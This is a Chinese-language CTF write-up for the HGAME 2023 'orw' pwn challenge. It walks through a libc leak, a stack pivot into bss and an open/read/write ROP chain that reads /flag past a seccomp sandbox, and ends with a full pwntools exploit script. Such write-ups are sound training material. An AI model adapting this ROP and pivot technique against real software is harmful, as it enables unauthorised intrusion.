[HGAME 2023 week1]orw wp

字数: 1389

Open, Read, Write。

题面

觉得溢出的不够多?那就先找个地方把ROP链写进去,再把栈迁移过去执行吧

1
2
3
4
5
6
7
8
9
❯ unzip -l orw.zip
Archive:  orw.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   191504  2022-12-14 21:27   ld-2.31.so
  2029592  2022-12-14 21:27   libc-2.31.so
    17000  2022-12-29 20:40   vuln
---------                     -------
  2238096                     3 file

提供了 ld 和 libc。patchelf 肯定是必须的。

分析

题面就说了,ORW,还要栈迁移。

checksec 查看保护。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ pwn checksec ./vuln
[*] '/data/project/ctf-repo/pwn/nssctf/HGAME_2023_week1-orw/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

ceccomp 查看沙盒,把 execve 封了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 ceccomp probe vuln
[INFO]: Start tracing process 1345056
[INFO]: Parsing seccomp filter loaded in process 1345056
open      -> ALLOW
openat    -> ALLOW
read      -> ALLOW
write     -> ALLOW
execve    -> KILL
execveat  -> KILL
mmap      -> ALLOW
mprotect  -> ALLOW
sendfile  -> ALLOW
ptrace    -> ALLOW
fork      -> ALLOW

ida pro 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rcx
  __int64 v5; // rdi
  __int64 v6; // rsi
  __int64 v7; // r8
  __int64 v8; // r9

  init();
  sandbox(a1: v5, a2: v6, a3: v3, a4: v4, a5: v7, a6: v8);
  puts(s: "Maybe you can learn something about seccomp, before you try to solve this task.");
  vuln();
  return 0;
}

ssize_t vuln()
{
  _BYTE buf[256]; // [rsp+0h] [rbp-100h] BYREF

  return read(fd: 0, buf, nbytes: 0x130u);
}

一段栈溢出,不过溢出后能写的不多。
题目也已经写了要用 orw。这里基本上就是栈迁移然后写入 ROP 进行 ORW 调用。

利用

先泄漏 libc 地址,拿到 puts:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

ret = 0x40101A
rdi_ret = 0x401393
main = elf.sym["main"]

payload = (
    b"a" * (0x100 + 0x8)
    + p64(ret)
    + p64(rdi_ret)
    + p64(puts_got)
    + p64(puts_plt)
    + p64(main)
)
io.recvuntil(b"task.")
io.send(payload)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("puts address =", hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print("libc base address =", hex(libc_base))

返回 main 函数,之后进行栈迁移,vuln 函数的汇编长这样:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
.text:00000000004012C0 vuln            proc near               ; CODE XREF: main+2D↓p
.text:00000000004012C0
.text:00000000004012C0 buf             = byte ptr -100h
.text:00000000004012C0
.text:00000000004012C0 ; __unwind {
.text:00000000004012C0                 endbr64
.text:00000000004012C4                 push    rbp
.text:00000000004012C5                 mov     rbp, rsp
.text:00000000004012C8                 sub     rsp, 100h
.text:00000000004012CF                 lea     rax, [rbp+buf]
.text:00000000004012D6                 mov     edx, 130h       ; nbytes
.text:00000000004012DB                 mov     rsi, rax        ; buf
.text:00000000004012DE                 mov     edi, 0          ; fd
.text:00000000004012E3                 mov     eax, 0
.text:00000000004012E8                 call    _read
.text:00000000004012ED                 nop
.text:00000000004012EE                 leave
.text:00000000004012EF                 retn

栈迁移后栈寄存器长这样:

1
2
3
rsp = bss + 0x400
rbp = *(bss + 0x400)
rip = leave_rax

直接进入 leav rax, [rbp+buf] 打,这样就会在 fake_rbp - 0x100 的位置开始写入。
选择的栈在 bss 内,ida 和 readelf 看 bss 段地址蛮小,但是 gdb 调试看 vmmap 发现这一整页地址其实都是可读可写:

1
2
    Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
0x404000           0x405000 rw-p     1000    5000 vuln

因此选择 0x404100 ,向后挪 0x300 + 0x100 作为 rbp。这样索引写入点在 0x404400 ,比较好看。
因为在 vuln 后面有 leave retn,会将 rbp 赋值给 rsp,然后就开始执行 fake_rbp 下的 Gadget。
但是但是,leave 还有一步 pop rbp,会将 rbp 第一个弹给 rbp,所以 0x404300 是不能放 Gadget的,但 8 字节刚好可以放 /flag。
这样,就是 open read write 了。
因为我们有 libc,所以可以直接用 libc 的地址直接打,只要把寄存器放好就行。
进行一次 leave;ret

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# open(path, 0);
payload1 = (
    b"/flag\x00\x00\x00"
    + p64(pop_rdi)
    + p64(bss + 0x300)
    + p64(pop_rsi)
    + p64(0)
    + p64(open_addr)
)

# read(fd, addr, size);
payload1 += (
    p64(pop_rdi)
    + p64(3)
    + p64(pop_rsi)
    + p64(bss + 0x300)
    + p64(pop_rdx)
    + p64(0x100)
    + p64(read_addr)
)

# write(1, addr, size);
payload1 += (
    p64(pop_rdi)
    + p64(1)
    + p64(pop_rsi)
    + p64(bss + 0x300)
    + p64(pop_rdx)
    + p64(0x100)
    + p64(write_addr)
)
payload1 = payload1.ljust(0x100, b"\x00")
payload1 += p64(bss + 0x300) + p64(leave_ret)

io.send(payload1)

这里再来一次 leave_ret。
此时栈寄存器就会变成:

1
2
3
rsp = bss + 0x400
rbp = *(bss + 0x400) = bss + 0x400
rip = *(bss + 0x408) = leave_ret

这样就开始执行 ROP 了。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

context.log_level = "debug"
io = process("./vuln")
#io = remote("node5.anna.nssctf.cn", 21408)
elf = ELF("./vuln")
libc = ELF("./libc-2.31.so")

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

ret = 0x40101A
rdi_ret = 0x401393
leave_ret = 0x4012BE
leave_rax = 0x4012CF
main = elf.sym["main"]
bss = 0x404100

payload = (
    b"a" * (0x100 + 0x8)
    + p64(ret)
    + p64(rdi_ret)
    + p64(puts_got)
    + p64(puts_plt)
    + p64(main)
)
io.recvuntil(b"task.")
io.send(payload)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("puts address =", hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print("libc base address =", hex(libc_base))
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
pop_rdi = libc_base + 0x23B6A
pop_rsi = libc_base + 0x2601F
pop_rdx = libc_base + 0x142C92

payload = b"a" * (0x100) + p64(bss + 0x300 + 0x100) + p64(leave_rax)
io.recvuntil(b"task.")
# gdb.attach(io)
io.send(payload)
raw_input("wait")

# open(path, 0);
payload1 = (
    b"/flag\x00\x00\x00"
    + p64(pop_rdi)
    + p64(bss + 0x300)
    + p64(pop_rsi)
    + p64(0)
    + p64(open_addr)
)

# read(fd, addr, size);
payload1 += (
    p64(pop_rdi)
    + p64(3)
    + p64(pop_rsi)
    + p64(bss + 0x300)
    + p64(pop_rdx)
    + p64(0x100)
    + p64(read_addr)
)

# write(1, addr, size);
payload1 += (
    p64(pop_rdi)
    + p64(1)
    + p64(pop_rsi)
    + p64(bss + 0x300)
    + p64(pop_rdx)
    + p64(0x100)
    + p64(write_addr)
)
payload1 = payload1.ljust(0x100, b"\x00")
payload1 += p64(bss + 0x300) + p64(leave_ret)

io.send(payload1)

io.interactive()